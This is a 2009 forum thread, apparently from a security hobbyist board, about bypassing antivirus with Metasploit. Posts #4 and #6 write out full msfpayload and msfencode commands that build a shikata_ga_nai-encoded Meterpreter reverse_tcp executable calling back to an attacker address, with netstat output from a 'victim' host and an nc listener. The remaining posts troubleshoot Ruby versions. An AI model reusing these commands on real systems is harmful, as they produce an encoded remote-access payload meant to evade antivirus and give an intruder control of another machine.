Power of Metasploit!
Sponsored by: █ Sparkhost - Hosting Without Compromises! █ Hybrid Performance Web Hosting █ Spark Host Stream Hosting █ Hybrid IRC & IRCd Server Shell Accounts
Bypassing Antivirus with Metasploit
#2
Posted 20 January 2009 - 08:18 AM
I've been pretty happy overall with the new 3.2 framework. Thanks for posting the video
--P>G>>
The gopher is back!
#3
Posted 20 January 2009 - 10:01 AM
Moreover Metasploit is moving into alot of diversity, like DiderStevens building them a module for pdf exploits etc.
#4
Posted 21 January 2009 - 12:33 AM
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8080 R | ./msfencode -b '' -t exe -o meterpreter.exe [-] Invalid format: exe
:-(
-berz3k.
#5
Posted 21 January 2009 - 05:19 PM
Do an SVN update and check once more.
#6
Posted 22 January 2009 - 07:41 PM
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.20.40.32 LPORT=8080 R | ./msfencode -b '' -t exe -o meterpreter.exe *********************************************************************** *** * *** This version of the Ruby interpreter has significant problems, we * *** strongly recommend that you switch to version 1.8.6 until these * *** issues have been corrected. Alternatively, you can download, * *** build, and install the latest Ruby snapshot from: * *** - http://www.ruby-lang.org/ * *** For more information, please see the following URL: * *** - https://bugs.launchpad.net/bugs/282302 * *** * *********************************************************************** [*] x86/shikata_ga_nai succeeded, final size 76 intrusa@x ~/MSF/trunk $ chmod 777 meterpreter.exe
----------------------------------
Works fine over Unix port MACOX x86
----------------------------------
Creating the .exe file
sh-3.2# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.20.40.32 LPORT=8080 R | ./msfencode -b '' -t exe -o meterpreter.exe [*] x86/shikata_ga_nai succeeded, final size 306
meterpreter.exe executed (Victim)
C:\>netstat -an Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:25 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING TCP 0.0.0.0:1027 0.0.0.0:0 LISTENING TCP 0.0.0.0:1032 0.0.0.0:0 LISTENING TCP 0.0.0.0:1040 0.0.0.0:0 LISTENING TCP 0.0.0.0:1910 0.0.0.0:0 LISTENING TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING TCP 0.0.0.0:4899 0.0.0.0:0 LISTENING TCP 127.0.0.1:1903 127.0.0.1:1902 TIME_WAIT TCP 172.18.0.27:139 0.0.0.0:0 LISTENING TCP 172.18.0.27:1910 172.20.40.32:8080 ESTABLISHED <----kool UDP 0.0.0.0:135 *:* UDP 0.0.0.0:401 *:* UDP 0.0.0.0:402 *:* UDP 0.0.0.0:445 *:* UDP 0.0.0.0:1028 *:* UDP 0.0.0.0:1030 *:* UDP 0.0.0.0:3456 *:* UDP 172.18.0.27:137 *:* UDP 172.18.0.27:138 *:*
Listen port (intruder)
C:\>nc -lp 8080 c:\> <---- Broken mmmm
Doesn't work! :-( does any1 know why?
-berz3k.
#7
Posted 23 January 2009 - 02:37 AM
Doesn't work! (Win32 Vista)
***********************************************************************
*** *
*** This version of the Ruby interpreter has significant problems, we *
*** strongly recommend that you switch to version 1.8.6 until these *
*** issues have been corrected. Alternatively, you can download, *
*** build, and install the latest Ruby snapshot from: *
*** - http://www.ruby-lang.org/ *
*** For more information, please see the following URL: *
*** - https://bugs.launchpad.net/bugs/282302 *
*** *
***********************************************************************
The explanation is right in the error message. msf needs Ruby 1.8.6. You probably downloaded the lastest Ruby Windows install from the Ruby site, which is 1.8.7. You need to remove this Ruby version and install 1.8.6.
#8
Posted 23 January 2009 - 03:18 AM
I am not sure what you are trying?
you build the exe on the linux host with ip 172.20.40.32 and test on a vista host with ip 172.18.0.27. You build a reverse tcp connect shell and check for the reverse shell on the windows host??
@DidierStevens
If my memory serves me right, I have 1.8.6 and I still get the error. To confirm I will post my versions later on.
#9
Posted 23 January 2009 - 03:55 AM
@DidierStevens
If my memory serves me right, I have 1.8.6 and I still get the error. To confirm I will post my versions later on.
I used msf with Ruby 1.8.7 on a Windows XP box and didn't work, had to downgrade to 1.8.6. Was about a month ago.
#10
Posted 24 January 2009 - 10:11 AM
#11
Posted 24 January 2009 - 11:51 AM
nice VD and good job
#12
Posted 27 January 2009 - 11:40 AM
thanks for the info dude! , now i am changing the version ruby
@Webdevil
1)The meterpreter.exe builded over MACOSX/x86 (port) with reverse_tcp and 172.20.40.32 address and port 8080 works fine.
2) Then i was put the meterpreter.exe on the victim (172.18.0.27 win2k server) and i saw the connection TCP 8080 u can see the intruder address (172.20.40.32:8080), works fine using netstat.
BUT!!!
3) The intruder machine (172.20.40.32), I'm listening 8080 port nc -lp 8080 and the connection is broken :-(
-berz3k.
#13
Posted 18 February 2012 - 11:29 AM
http://www.pentestge...st-writing-asm/
Hope this helps!
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users












